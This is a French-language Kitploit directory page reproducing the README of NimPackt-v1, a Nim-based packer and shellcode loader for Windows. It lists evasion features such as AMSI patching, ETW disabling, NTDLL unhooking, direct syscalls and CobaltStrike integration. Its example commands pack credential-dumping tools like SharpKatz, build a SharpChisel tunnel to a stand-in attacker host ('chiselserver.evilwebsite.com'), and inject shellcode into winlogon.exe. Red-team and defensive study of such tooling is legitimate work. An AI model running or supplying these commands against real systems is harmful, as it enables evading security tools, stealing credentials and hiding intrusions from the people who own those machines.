Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
NimPackt-v1 — Packeur d'assembleur et chargeur de shellcode basé sur Nim pour l'opsec et le profit. | Kitploit
Outils/GitHubGitHub/chvancooten/nimpackt-v1
Frameworks d'ExploitationGénération de PayloadsShellcodeTests d'IntrusionRed TeamingExploitation de Binaires
GitHubchvancooten/nimpackt-v1

NimPackt-v1

Packeur d'assembleur et chargeur de shellcode basé sur Nim pour l'opsec et le profit.

Voir le dépôt
48776il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

NimPackt

Un packer basé sur Nim pour les exécutables .NET et le shellcode brut

Par Cas van Cooten (@chvancooten)

Avec un remerciement spécial à Marcello Salvati (@byt3bl33der) et Fabian Mosch (@S3cur3Th1sSh1t)

Description

Mise à jour : NimPackt-v1 fait partie des pires codes que j'aie jamais écrits (je commençais tout juste à apprendre Nim). Pour cette raison, j'ai commencé une réécriture complète de NimPackt, surnommée 'NimPackt-NG' (actuellement encore privée). Avec cette réécriture, j'ai décidé d'open-sourcer l'ancienne branche ("NimPackt-v1"). En tant que telle, cette branche n'est plus maintenue et est fournie sans aucune forme de garantie ou de support. Les PRs sont toujours les bienvenues, bien sûr :)

NimPackt est un packer basé sur Nim pour les exécutables .NET (C#) et le shellcode ciblant Windows. Il enveloppe automatiquement la charge utile dans un binaire Nim qui est compilé en C natif, ce qui le rend plus difficile à détecter et à rétro-ingénier. Il existe deux méthodes d'exécution principales :

  • Execute-Assembly reconditionne un exécutable .NET et l'exécute, en appliquant éventuellement des mesures d'évasion telles que le dé-crochement d'API, le patch d'AMSI ou la désactivation d'ETW.
  • Shinject prend un fichier .bin brut avec du shellcode indépendant de la position et l'exécute localement ou dans un processus distant, en utilisant éventuellement des appels système directs pour déclencher le shellcode ou en patchant les hooks d'API pour échapper à l'EDR.

Actuellement, NimPackt dispose des fonctionnalités suivantes.

  • Utilise des appels système statiques pour patcher l'exécution afin d'échapper à l'EDR
  • Décroche les API en mode utilisateur pour le thread généré en actualisant NTDLL.dll à l'aide de ShellyCoat
  • Patche l'Event Tracing for Windows (ETW)
  • Patche l'Anti-Malware Scan Interface (AMSI)
  • Chiffre la charge utile en AES avec une clé aléatoire pour empêcher l'analyse statique ou l'empreinte digitale
  • Compile en exe ou dll
  • Prend en charge la compilation multiplateforme (depuis Linux et Windows)
  • S'intègre à CobaltStrike pour une génération de charge utile facile 😎

Une excellente source de binaires C# pour les outils offensifs se trouve ici. Il est fortement recommandé de compiler vous-même les binaires C#. Même si les binaires intégrés sont chiffrés, vous devriez obscurcir les binaires sensibles (comme Mimikatz) pour réduire le risque de détection.

Installation

Si vous rencontrez des problèmes pour compiler le binaire avec des appels système, essayez de rétrograder votre GCC à la version 8.1.0 (surtout sur Windows). Testez TOUJOURS les charges utiles générées !

Sur Linux, installez simplement les paquets requis et utilisez l'installateur de paquets Nimble pour installer les paquets et bibliothèques Python nécessaires.

root@kitploit:~
sudo apt install -y python3 mingw-w64 nim
pip3 install pycryptodome argparse
nimble install winim nimcrypto

Sur Windows, exécutez l'installateur Nim depuis ici. Assurez-vous d'installer mingw et de définir correctement les valeurs de chemin à l'aide de l'utilitaire finish.exe fourni. Si vous n'avez pas Python3, installez-le, puis installez les paquets requis comme suit.

root@kitploit:~
nimble install winim nimcrypto
pip3 install pycryptodome argparse

Docker

L'image Docker chvancooten/nimbuild peut être utilisée pour compiler les binaires NimPackt-v1. Utiliser Docker est simple et évite les problèmes de dépendances, car toutes les dépendances requises sont pré-installées dans ce conteneur.

Pour l'utiliser, installez Docker pour votre système d'exploitation et assurez-vous que le shellcode d'entrée se trouve dans le dossier actuel. Ensuite, lancez la compilation dans un conteneur comme suit.

root@kitploit:~
docker run --rm -v `pwd`:/usr/src/np -w /usr/src/np chvancooten/nimbuild python3 NimPackt.py -e shinject -i sc.bin

Plugin CobaltStrike

Pour installer le plugin CobaltStrike, sélectionnez Cobalt Strike -> Script Manager dans la barre de menu, puis sélectionnez Load. Assurez-vous de charger le fichier .cna depuis son emplacement d'origine, sinon il ne pourra pas trouver les fichiers de script NimPackt !

NimPackt

Utilisation

root@kitploit:~
usage: NimPackt.py [-h] -e EXECUTIONMODE -i INPUTFILE [-a ARGUMENTS] [-na] [-ne] [-r]
                   [-t INJECTTARGET] [-E] [-o OUTPUTFILE] [-nu] [-ns] [-f FILETYPE] [-s] [-32] [-S]
                   [-d] [-v] [-V]

required arguments:
  -e EXECUTIONMODE, --executionmode EXECUTIONMODE
                        Execution mode of the packer. Supports "execute-assembly" or "shinject"
  -i INPUTFILE, --inputfile INPUTFILE
                        C# .NET binary executable (.exe) or shellcode (.bin) to wrap

execute-assembly arguments:
  -a ARGUMENTS, --arguments ARGUMENTS
                        Arguments to "bake into" the wrapped binary, or "PASSTHRU" to accept run-
                        time arguments (default)
  -na, --nopatchamsi    Do NOT patch (disable) the Anti-Malware Scan Interface (AMSI)
  -ne, --nodisableetw   Do NOT disable Event Tracing for Windows (ETW)

shinject arguments:
  -r, --remote          Inject shellcode into remote process (default false)
  -t INJECTTARGET, --target INJECTTARGET
                        Remote thread targeted for remote process injection
  -E, --existing        Remote inject into existing process rather than a newly spawned one (default
                        false, implies -r) (WARNING: VOLATILE)

other arguments:
  -o OUTPUTFILE, --outfile OUTPUTFILE
                        Filename of the output file (e.g. "LegitBinary"). Specify WITHOUT extension
                        or path. This property will be stored in the output binary as the original
                        filename
  -nu, --nounhook       Do NOT unhook user-mode API hooks in the target process by loading a fresh
                        NTDLL.dll
  -ns, --nosyscalls     Do NOT use direct syscalls (Windows generation 7-10) instead of high-level
                        APIs to evade EDR
  -f FILETYPE, --filetype FILETYPE
                        Filetype to compile ("exe" or "dll", default: "exe")
  -s, --sleep           Sleep for approx. 30 seconds by calculating primes
  -32, --32bit          Compile in 32-bit mode (untested)
  -S, --showConsole     Show a console window with the app's output when running
  -d, --debug           Enable debug mode (retains .nim source file in output folder)
  -v, --verbose         Print debug messages of the wrapped binary at runtime
  -V, --version         show program's version number and exit

Exemples :

root@kitploit:~
# Pack SharpKatz to accept arguments at runtime, patching NTDLL hooks, AMSI, and ETW while printing verbose messages to a visible console at runtime
python3 ./NimPackt.py -e execute-assembly -i bins/SharpKatz-x64.exe -S -v

# Pack Seatbelt as a DLL file with baked-in arguments (note: write to outfile because stdout is not available for DLLs)
python3 ./NimPackt.py -f dll -e execute-assembly -i Seatbelt.exe -a "-group=all -outputfile=c:\users\public\downloads\sb.txt"

# Pack SharpChisel with a built-in ChiselChief connection string, do not unhook, patch AMSI, or disable ETW, hide the application window at runtime
python3 NimPackt.py -nu -na -ne -e execute-assembly -i bins/SharpChisel.exe -a 'client --keepalive 25s --max-retry-interval 25s https://chiselserver.evilwebsite.com R:10073:socks'

# Pack raw shellcode to DLL file that executes in the local thread through direct syscalls, unhooking NTDLL as well
# Shellcode generated with 'msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o /tmp/calc.bin'
python3 NimPackt.py -i calc.bin -e shinject -f dll

# Pack raw shellcode to execute in a newly spawned Calculator thread in an invisible window
python3 NimPackt.py -i calc.bin -e shinject -t "calc.exe"

# Pack raw shellcode to execute in the existing Winlogon process (first PID with name 'winlogon.exe'), do not use direct syscalls or unhook NTDLL
python3 NimPackt.py -i calc.bin -e shinject -r -E -t "winlogon.exe" -nu -ns

Les binaires sont stockés dans le sous-dossier output de votre répertoire d'installation. Les fichiers dll générés peuvent être exécutés comme suit (le point d'entrée peut être modifié dans le modèle Nim) :

root@kitploit:~
rundll32 exampleShinjectNimPackt.dll,IconSrv
Télécharger l’outil